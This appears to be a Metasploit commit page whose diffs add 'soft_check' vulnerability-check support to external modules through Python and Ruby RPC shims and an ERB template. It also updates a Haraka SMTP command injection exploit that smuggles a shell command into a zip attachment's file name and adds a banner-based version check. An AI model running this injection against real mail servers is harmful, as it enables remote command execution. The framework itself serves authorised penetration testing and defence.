Land #10009, Add initial check support to external modules

GSoC/Meterpreter_Web_Console
Brent Cook 2018-05-18 09:31:31 -05:00
commit 37f1e44a12
No known key found for this signature in database
GPG Key ID: 1FFAA0B24B708F96
8 changed files with 99 additions and 12 deletions

View File

@ -107,6 +107,14 @@ class Exploit < Msf::Module
# The module does not support the check method. # The module does not support the check method.
# #
Unsupported = [ 'unsupported', "This module does not support check." ] Unsupported = [ 'unsupported', "This module does not support check." ]
#
# Hash for looking up codes by short name
#
Codes = [Unknown, Safe, Detected, Appears, Vulnerable, Unsupported].reduce({}) do |codes, code|
codes[code.first] = code
codes
end.freeze
end end
# #

View File

@ -4,7 +4,7 @@ module Msf::Module::External
include Msf::Auxiliary::Report include Msf::Auxiliary::Report
include Msf::Module::Auth include Msf::Module::Auth
def execute_module(path, method: :run, args: datastore) def execute_module(path, method: :run, args: datastore, fail_on_exit: true)
mod = Msf::Modules::External.new(path, framework: framework) mod = Msf::Modules::External.new(path, framework: framework)
success = mod.exec(method: method, args: args) do |m| success = mod.exec(method: method, args: args) do |m|
begin begin
@ -14,7 +14,7 @@ module Msf::Module::External
when :report when :report
process_report(m, mod) process_report(m, mod)
when :reply when :reply
# Nothing useful yet return m.params['return']
end end
rescue Interrupt => e rescue Interrupt => e
raise e raise e
@ -24,7 +24,7 @@ module Msf::Module::External
end end
end end
fail_with Msf::Module::Failure::Unknown, "Module exited abnormally" if !success fail_with Msf::Module::Failure::Unknown, "Module exited abnormally" if fail_on_exit && !success
end end
def log_output(m) def log_output(m)

View File

@ -75,15 +75,32 @@ def report_wrong_password(username, password, **opts):
report('wrong_password', info) report('wrong_password', info)
def run(metadata, module_callback): def run(metadata, module_callback, soft_check=None):
req = json.loads(os.read(0, 10000).decode("utf-8")) req = json.loads(os.read(0, 10000).decode("utf-8"))
callback = None
if req['method'] == 'describe': if req['method'] == 'describe':
rpc_send({'jsonrpc': '2.0', 'id': req['id'], 'result': metadata}) caps = []
if soft_check:
caps.append('soft_check')
meta = metadata.copy()
meta.update({'capabilities': caps})
rpc_send({'jsonrpc': '2.0', 'id': req['id'], 'result': meta})
elif req['method'] == 'soft_check':
if soft_check:
callback = soft_check
else:
rpc_send({'jsonrpc': '2.0', 'id': req['id'], 'error': {'code': -32601, 'message': 'Soft checks are not supported'}})
elif req['method'] == 'run': elif req['method'] == 'run':
callback = module_callback
if callback:
args = req['params'] args = req['params']
module_callback(args) ret = callback(args)
rpc_send({'jsonrpc': '2.0', 'id': req['id'], 'result': { rpc_send({'jsonrpc': '2.0', 'id': req['id'], 'result': {
'message': 'Module completed' 'message': 'Module completed',
'return': ret
}}) }})

View File

@ -33,18 +33,36 @@ module Metasploit
report(:wrong_password, opts.merge(username: username, password: password)) report(:wrong_password, opts.merge(username: username, password: password))
end end
def run(metadata, callback) def run(metadata, callback, soft_check: nil)
self.logging_prefix = '' self.logging_prefix = ''
cb = nil
req = JSON.parse($stdin.readpartial(10000), symbolize_names: true) req = JSON.parse($stdin.readpartial(10000), symbolize_names: true)
if req[:method] == 'describe' if req[:method] == 'describe'
capabilities = []
capabilities << 'soft_check' if soft_check
meta = metadata.merge(capabilities: capabilities)
rpc_send({ rpc_send({
jsonrpc: '2.0', id: req[:id], result: metadata jsonrpc: '2.0', id: req[:id], result: meta
}) })
elsif req[:method] == 'soft_check'
if soft_check
cb = soft_check
else
rpc_send({
jsonrpc: '2.0', id: req[:id], error: {code: -32601, message: 'Soft checks are not supported'}
})
end
elsif req[:method] == 'run' elsif req[:method] == 'run'
callback.call req[:params] cb = callback
end
if cb
ret = cb.call req[:params]
rpc_send({ rpc_send({
jsonrpc: '2.0', id: req[:id], result: { jsonrpc: '2.0', id: req[:id], result: {
message: 'Module completed' message: 'Module completed',
'return' => ret
} }
}) })
end end

View File

@ -32,6 +32,10 @@ class Msf::Modules::External::Shim
render_template('common_metadata.erb', meta) render_template('common_metadata.erb', meta)
end end
def self.common_check(meta = {})
render_template('common_check.erb', meta)
end
def self.mod_meta_common(mod, meta = {}, drop_rhost: false) def self.mod_meta_common(mod, meta = {}, drop_rhost: false)
meta[:path] = mod.path.dump meta[:path] = mod.path.dump
meta[:name] = mod.meta['name'].dump meta[:name] = mod.meta['name'].dump
@ -54,6 +58,8 @@ class Msf::Modules::External::Shim
[#{o['required']}, #{o['description'].dump}, #{o['default'].inspect}])" [#{o['required']}, #{o['description'].dump}, #{o['default'].inspect}])"
end end
end.join(",\n ") end.join(",\n ")
meta[:capabilities] = mod.meta['capabilities']
meta meta
end end

View File

@ -0,0 +1,7 @@
<% if meta[:capabilities].include? 'soft_check' %>
def check
code = execute_module(<%= meta[:path] %>, method: :soft_check, fail_on_exit: false) || 'unknown'
return Msf::Exploit::CheckCode::Codes[code]
end
<% end %>

View File

@ -34,6 +34,8 @@ class MetasploitModule < Msf::Exploit::Remote
]) ])
end end
<%= common_check meta %>
def execute_command(cmd, opts) def execute_command(cmd, opts)
execute_module(<%= meta[:path] %>, args: datastore.merge(command: cmd)) execute_module(<%= meta[:path] %>, args: datastore.merge(command: cmd))
end end

View File

@ -10,6 +10,8 @@
# Thanks to: Dexlab.nl for asking me to look at Haraka. # Thanks to: Dexlab.nl for asking me to look at Haraka.
import smtplib import smtplib
import re
from distutils.version import StrictVersion
from email.mime.application import MIMEApplication from email.mime.application import MIMEApplication
from email.mime.multipart import MIMEMultipart from email.mime.multipart import MIMEMultipart
from email.utils import COMMASPACE, formatdate from email.utils import COMMASPACE, formatdate
@ -21,6 +23,7 @@ import zipfile
import StringIO import StringIO
from metasploit import module from metasploit import module
metadata = { metadata = {
'name': 'Haraka SMTP Command Injection', 'name': 'Haraka SMTP Command Injection',
'description': ''' 'description': '''
@ -52,6 +55,7 @@ metadata = {
'rport': {'type': 'port', 'description': 'Target server port', 'required': True, 'default': 25} 'rport': {'type': 'port', 'description': 'Target server port', 'required': True, 'default': 25}
}} }}
def send_mail(to, mailserver, cmd, mfrom, port): def send_mail(to, mailserver, cmd, mfrom, port):
msg = MIMEMultipart() msg = MIMEMultipart()
html = "harakiri" html = "harakiri"
@ -79,6 +83,7 @@ def send_mail(to, mailserver, cmd, mfrom, port):
s.close() s.close()
return(False) return(False)
class InMemoryZip(object): class InMemoryZip(object):
def __init__(self): def __init__(self):
self.in_memory_zip = StringIO.StringIO() self.in_memory_zip = StringIO.StringIO()
@ -92,6 +97,7 @@ class InMemoryZip(object):
self.in_memory_zip.seek(0) self.in_memory_zip.seek(0)
return self.in_memory_zip.read() return self.in_memory_zip.read()
def create_zip(cmd="touch /tmp/harakiri"): def create_zip(cmd="touch /tmp/harakiri"):
z1 = InMemoryZip() z1 = InMemoryZip()
z2 = InMemoryZip() z2 = InMemoryZip()
@ -100,8 +106,31 @@ def create_zip(cmd="touch /tmp/harakiri"):
z1.append("a\";%s;echo \"a.zip"%cmd, z2.read()) z1.append("a\";%s;echo \"a.zip"%cmd, z2.read())
return(z1.read()) return(z1.read())
def check_banner(args):
module.log('{}:{} Starting banner check for Haraka < 2.8.9'.format(args['rhost'], args['rport']), level='debug')
c = smtplib.SMTP()
(code, banner) = c.connect(args['rhost'], int(args['rport']))
c.quit()
if code == 220 and 'Haraka' in banner:
versions = re.findall('(\d+\.\d+\.\d+)', banner)
if versions:
if StrictVersion(versions[0]) < StrictVersion('2.8.9'):
return 'appears'
else:
return 'safe'
else:
return 'detected'
elif code == 220:
return 'detected'
else:
return 'unknown'
def exploit(args): def exploit(args):
send_mail(args['email_to'], args['rhost'], args['command'], args['email_from'], int(args['rport'])) send_mail(args['email_to'], args['rhost'], args['command'], args['email_from'], int(args['rport']))
if __name__ == '__main__': if __name__ == '__main__':
module.run(metadata, exploit) module.run(metadata, exploit, soft_check=check_banner)